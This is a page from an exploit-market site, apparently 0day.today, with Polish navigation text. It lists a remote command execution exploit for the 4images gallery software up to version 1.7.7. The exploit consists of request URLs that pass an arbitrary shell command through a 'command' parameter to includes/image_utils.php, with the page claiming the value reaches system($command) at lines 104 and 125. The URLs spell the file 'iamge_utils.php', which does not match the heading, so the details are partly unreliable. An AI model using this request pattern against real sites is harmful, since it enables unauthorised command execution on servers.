[ autoryzacja ] [ rejestracja ] [ odzyskaj konto ]
Skontaktuj się
Możesz się z nami skonaktować przez:
0day Today  Market Exploitów i Baza Exploitów 0day

4images <= 1.7.7 (image_utils.php) Remote Command Execution

Autor
n/a
Ryzyko
[
Nieskategoryzowane Zagrożenie Bezpieczeństwa
]
0day-ID
0day-ID-12218
Kategoria
web applications
Data dodania
12-05-2010
Platforma
php
=========================================================================
4images <= 1.7.7 (image_utils.php) Remote Command Execution Vulnerability
=========================================================================


# [+] Script :4images #
# [+] Download:http://www.4homepages.de/downloads/e0adbeb40435/4images1.7.7.zip
# Version: [1.7.7] #
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : includes/image_utils.php
 
http://localhost/includes/iamge_utils.php?command=[your command]
 
http://127.0.0.1/includes/iamge_utils.php?command=[your command]
 
 
 system($command);
 
line : 104 and 125 



#  0day.today [2024-06-30]  #